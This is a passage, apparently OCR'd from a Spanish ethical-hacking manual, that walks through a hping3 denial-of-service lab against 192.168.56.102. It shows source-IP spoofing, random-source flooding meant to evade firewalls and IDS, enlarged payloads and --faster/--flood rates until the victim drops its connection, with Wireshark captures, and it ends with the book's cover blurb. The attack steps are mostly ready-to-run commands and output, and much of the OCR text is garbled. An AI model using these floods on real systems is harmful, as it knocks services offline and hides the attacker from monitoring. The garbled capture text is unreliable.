Oculte su dirección IP al servidor víctima y, a la vez, efectúe las consultas pertinentes por TCP. 
Esto requiere la ejecución del comando: #hping3 -a 1.2.3.4 192.168.56.102. Note que ahora 
el source ya no es 192.168.56.102, sino 1.2.3.4. Con esto, el firewall o el IDS no será capaz de 
reconocer la IP del atacante (aunque sí pueda percatarse del ataque). 

Dadas las circunstancias, en esta ocasión deberá hacer un cambio sobre el filtro desde 
WireShark, tratando de apuntar al servidor destino (es decir, la víctima). El cambio se aprecia 
como: ip.dst==192.168.56.102. 


root@keli:-# hping3 -a 1.2.3.4 192.168.56.102 -p 80 

PING 192.168.56.102 (eth0 192.168.56.102): NO FLAGS are set, 40 headers + O data bytes 
C 

--- 192.168.56.102 hping statistic --- 

14 packets transmitted, O packets received, 100% packet loss 

round-trip min/avg/max = 0.0/0.0/0.0 ms 

root@kali:~# [] 


Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


OOdaAHa D 


Filter: ip.dst==1 


No. Time 
0. 000000000 
' 1.000304000 
2. 000519000 
3. 000713000 
4.000928000 
5. 001070000 
6.001248000 
7.001621000 
8. 001838000 
` 9. 002030000 
10. 00233600 
11. 00298700 





Source 
123.4 


1.2.3.4 
1.2.3.4 
1.2.3.4 
1.2.3.4. 


1.2.3.4 
1.2.3.4 
12 ab 
1.2.3.4 


ES 4 


1.2.3.4 


1.2.3.4 


Expression... Clear Apply Save 


Destination 

192.168.56.102 
192. 168.56. 102 
192. 168.56. 102 
192.168.56.102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 
192. 168.56. 102 


o. A : o + de 


Protocol Length 


TCP 
TCP 
TCP 


TCP 


TCP 
TCP 
TCP 
TCP 


54 
54 
54 
54 
54 
54 
54 
54 
54 
54 
54 
54 


Into 

2740-80 
2741-80 
2742-80 
2743-80 
2744-80 
2745-80 
2746-80 
2747-80 
2748-80 
2749-80 
2750-80 
2751-80 


To Qe» JFF a a aF] Mb = 


[<None>] 
- [<None>] 
-[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] | 
[<None>] 
[<None>] 
[<None>] 





>» Frame 15: 54 bytes on wire (432 bits), 54 bytes captured (432 bits) on interface O 
» Ethernet II, Src: CadmusCo_08:86:af (08:00:27:08:86:af), Dst: CadmusCo_e8:30:52 (08:00:27:e8:30:52) 

>» Internet Protocol Version 4, Src: 1.2.3.4 (1.2.3.4), Dst: 192.168.56.102 (192.168.56.102) 

» Transmission Control Protocol, Src Port: 2752 (2752), Dst Port: 80 (80), Seq: 1, Len: 0. 8 — = — 





Una forma de evitar que un firewall o IDS identifique el ataque es hacerle creer que se lleva a 
cabo una consulta que apunte al puerto 80. Para esto, es necesario teclear el comando 
#hping3 —a 1.2.3.4 192.168.56.102 —p 80. 

Vea que todas las consultas han sido emitidas desde la IP 1.2.3.4 al puerto 80 mediante TCP, 
aunque para un firewall o IDS aun es muy facil detectarlos, debido a que, por lo regular, las 
consultas cada 1 segundo al puerto 80 son bastante sospechosas. 
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-~# hping3 --rand-source 192.168.56.102 -p 


80 


PING 192.168.56.102 (eth0 192.168.56.102): NO FLAGS are set, 40 headers + O data bytes 

C 

--- 192.168.56.102 hping statistic --- 

39 packets transmitted, O packets received, 100% packet loss 

round-trip min/avg/max = 0.0/0.0/0.0 ms 
$ 





Capturing from ethO [Wireshark 1.12.6 (Git Rev Unknown from unknown)] 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


xO Qe» JF? 


Oe a8 a 


Filter: ip.dst==192.168.56.102 


No. Time 

. 000000000 
. 000164000 
. 000404000 
. 000619000 
. 000871000 
. 001170000 
. 001462000 
. 001671000 
. 001926000 
. 002128000 
10. 00233300 
11.00253900 


OON OU BWN Fe 
Oo ON OU BWNe O 


EN ee e 
wh WN 


Source 
89.164.99.99 
55.51.139.76 
13.212.10.83 
181.173.36.106 
104.198.127.102 
214.164.58.45 
5.102.173.18 
53.214.151.124 
159.118.150.250 
8.83.29.242 
8.157.211.92 
212.163.75.54 


Destination 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 
192. 


168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 
168. 








Frame 21: 54 bytes 


12. 00273700 


189. 73.232.167 





on wire (432 bits), 54 bytes captured (432 bits) on interface O 


56. 
56. 
36. 
56. 
56. 
56. 
56. 
36. 
56. 
56. 
56. 
56. 
56. 


102 
102 
102 
102 
102 
102 
102 
102 
102 
102 
102 
102 
102 


Protocol Length 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 
TCP 54 


Save 


Info 

2455-80 
2456-80 
2457-80 
2458-80 
2459-80 
2460-80 
2461-80 
2462-80 
2463-80 
2464-80 
2465-80 
2466-80 
2467-80 


BG aaaf MAME 


Expression... Clear Appl 


[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 
[<None>] 














Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 
Seq=1 


Ethernet II, Src: CadmusCo_08:86:af (08:00:27:08:86:af), Dst: CadmusCo_e8:30:52 (08:00:27:e8:30:52) 
Internet Protocol Version 4, Src: 203.118.214.97 (203.118.214.97), Dst: 192.168.56.102 (192.168.56.102) 


Transmission Control Protocol, Sre Port: 2473 (2473), Dst Port: 80 (80), Seq: 1, Len: O 


A continuacion, hay que burlar por completo y de manera definitiva al firewall o IDS. Por lo tanto, 





escriba el siguiente comando: #hping3 —rand-source 192.168.56.102 —p 80. Sin duda, con 
esta última prueba, verá que Kali Linux se encuentra enviando peticiones a la víctima con IPS 


aleatorias (aunque lo hace con 54 bytes, por lo que para colapsar el sistema no sería suficiente). 
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Hping3 nos permite 
modificar los 
paquetes que se 


envían a través 


del protocolo 
TCP/IP de manera 
que podamos 
efectuar un control 
mucho mayor de 


ellos, pudiendo 


adaptarlos en 
función de nuestras 
necesidades. 


ping p 
PING 192. 168. 56.102 (ethd 192. 168.56.102): NO FLAGS are sat, 40 headers + 500 data bytes 
C 


a Expression... Clear Apply Save 


Source Destination Protocol Length Info 
0.000000000 23.84.225.198 192. 168.56. 102 TCP 554 [TCP segment of 
1.000209000 240.138.254.19 192. 168.56. 102 TCP 554 [TCP segment of 
2.000497000 209.244.250.205 192.168.56. 102 TCP 554 [TCP segment of 


3. 000684000 41.196.244.158 192,168.56. 102 TCP 554 [TCP segment of 
4.000862000 0.198.155.85 192. 168.56. 102 TCP 554 [TCP segment of 
5.001062000 156.167.128.108 192. 168.56. 102 TCP 554 [TCP segment of 
6.001288000 28.21.70.84 192. 168.56. 102 TCP 554 [TCP segment of 
7.001499000 219.23.221.120 192. 168.56. 102 TCP 554 [TCP segment of 
8.001663000 75.209.211.75 192. 168.56. 102 TCP 554 [TCP segment of 
' 9.001801000 196.104.217.17 192. 168.56. 102 TCP 554 [TCP segment of 
10.00213400 177.108.11.208 192. 168.56. 102 TCP 554 [TCP segment of 
| 11.00242900 95.135.209.184 192. 168.56. 102 TCP 554 [TCP segment of 
12.00273300 235.58.67.230 192. 168.56. 102 TCP 554 [TCP segment of 


b 


>» Frame 20: 554 bytes on wire (4432 bits), 554 bytes captured (4432 bits) on interface O 
>» Ethernet II, Src: CadmusCo_08:86:af (08:00:27:08:86:af), Dst: CadmusCo_e8:30:52 (08:00:27:e8:30:52) 





Debera entonces alterar el tamano de los paquetes enviados por TCP. Para hacerlo, es necesario 
proceder del siguiente modo: #hping3 --rand-source -d 500 192.168.56.102 -p80. 

Con el comando que acaba de ejecutar, se le han sumado 500 bytes a una consulta clasica de 
TCP de solo 54 bytes. Solo resta colapsar los sistemas para hacer las pruebas de tolerancia. 


File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help 


Oom DD x0 Le» 277 BB 282897 MAN <= 


Filter: ip .dst==1 92.168.56.102 >] Expression... Clear Apply Save 


No. Time Source Destination Protocol Length Info 

.000000000 10.20.62.254 192. 168.56. 102 TCP 554 [TCP segment of 
. 100234000 144.201.177.132 192. 168.56. 102 TCP 554 [TCP segment of 
.200526000 218.235.236.234 192. 168.56. 102 TCP 554 [TCP segment of 
.300690000 119.4.42.53 192. 168.56. 102 TCP 554 [TCP segment of 
. 402330000 172.17.91.246 192. 168.56. 102 TCP 554 [TCP segment of 
.502512000 191.255.122.123 192. 168.56. 102 TCP 554 [TCP segment of 
105.61.255.140 192. 168.56. 102 TCP 554 [TCP segment of 
.704637000 199.186.14.221 192. 168.56. 102 TCP 554 [TCP segment of 
.804805000 246.233.185.18 192. 168.56. 102 TCP 554 [TCP segment of 
. 909240000 210.34.105.168 192. 168.56. 102 TCP 554 [TCP segment of 
. 009444000 212.99.28.48 192. 168.56. 102 TCP 554 [TCP segment of 
.114239000 152.93.201.40 192. 168.56. 102 TCP 554 [TCP segment of 
.214489000 105.54.160.135 192. 168.56. 102 TCP 554 [TCP segment of 


reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl 
reassembl: 


OMONOUBWNHH 


hp 
N © 


0 
0 
0 
O 
0 
0 
0 
O 
0 
0 
a 
RE 
SE 


he 
w 


> Frame 69: 554 bytes on wire (4432 bits), 554 bytes captured (4432 bits) on interface O 
» Ethernet II, Src: CadmusCo_08:86:af (08:00:27:08:86:af), Dst: gems. e8:30:52 (08:00:27:e8:30:52) 
> Internet pene Version 4, Src: 126.82. 198. 65 ( 126. 82. 198. 65), 192. 168.56. 102 (192. 168.56. 102) 


w ra en "D; PE CAT YT Sv 7 ocr de Ed y awe f ty ? “ 
Trans mis sion e ontr >l Pr ale ES Srce F or” re Lö pE: SS, > Dst Port: 8C (80: > Sec 5 E E an: 500 





Para cambiar la velocidad de trafico con hping3 desde la terminal en sistemas GNU-Linux, 
ingrese #hping3 —h. Esto mostrara datos como: fast = 10 paquetes por segundo, faster = 100 
paquetes por segundo, y flood = envio de paquetes lo mas rápido que sea posible. 

Inicie probando el envío de 10 paquetes por segundo con el uso del parámetro fast: #hping3 

- -rand-source -d 500 192.168.56.102 -p80 —fast. 

Note el cambio que se efectuó sobre la tabla de WireShark en el registro 11, tras el envío de 10 
paquetes por segundo. 
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root@keli:-# hping3 --rand-source -d 500 192.168.56.102 -p 80 --faster 

PING 192.168.56.102 (ethO 192.168.56.102): NO FLAGS are set, 40 headers + 500 d 
ata bytes 

C I 

--- 192.168.56.102 hping statistic --- 

9962 packets transmitted, 0 packets received, 100% packet loss 

round-trip min/avg/max = 0.0/0.0/0.0 ms 

oot@kali:-# 


Sls 


v Expression... Clear Apply Save 


Destination Protocol Length Info 
192.168.56.102 TCP 554 [TCP 


192.168.56.102 TCP 554 [TCP 
192.168.56.102 TCP 554 [TCP 
192.168.56.102 TCP 554 [TCP 


104.4322330 185.148.81.135 
104.4323220 208.165.160.166 
104.4324150 182,139.216.41 
104.4325050 252.151.66.132 
104.4325960 34.254.153.234 


104. 4326730 
104. 4327660 
114.7364020 
114. 7366560 
114. 7367450 
114. 7469030 


129. 7416640 
130.5074610 
130.5077610 
130.5078910 
130.5185930 


173.25.219.179 


190.157. 
192.168. 
192.168. 
192.168. 
192,168. 


192.168. 
192.168. 
192.168. 
192.168. 
192.168. 


234.222 


56.101 
56.101 
.101 
.101 


192. 168.56. 102 TCP 554 [TCP 


192. 168.56 
192. 168.56. 
192. 168.56. 
192.168.56. 
192. 168.56. 
192, 168.56. 


192. 168. 
192.168. 
192.168. 
192. 168. 
192.168. 


. 102 


102 
102 
102 
102 
102 


TCP 
TCP 
TCP 


954 
554 
74 
66 
367 
66 


[TCP segme 
[TCP segme 
33737-80 | 
33737-80 | 
GET / HITTA 
33737-80 | 


33737-80 | 


145.5123030 192.168. 192.168. 





1 Ahora envíe un total de 100 paquetes por segundo con el parámetro faster, escribiendo: 
#hping3 --rand-source -d 500 192.168.56.102 -p80 —faster. La presente consulta manda 
más de 9962 paquetes. En el registro marcado (No. 9975), se ha perdido la conexión con 
el servidor víctima. Solo resta probar el parámetro flood: #hping3 --rand-source -d 500 
192.168.56.102 -p80 - -flood. 


Detectar ataques 


Definitivamente, una de las 
herramientas o recursos más comunes 


para detectar un ataque DOS es 
la concepción de un firewall o IDS 
(sistema de detección de intrusos). 
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@ Keyloggers, VPNs, Deep Web, Tor y mas... 


CONOZCALOS METODOS Y HERRAMIENTAS DE ATAQUE 


USERS 


Manual del hac 


Proyectos prácticos de Seguridad lacker 


¿Cómo es posible acceder a una cuenta de banco mediante Phishing? 
¿Cuáles son las tretas más utilizadas en Ingeniería Social 
para obtener contraseñas? ¿Qué pruebas debo realizar para asegurarme 
de que mi sitio no tiene vulnerabilidades? 
Estas y muchas otras preguntas se responden en este manual de hacking ético, 
para detectar posibles fallas en los sistemas y así protegerlos mejor. 
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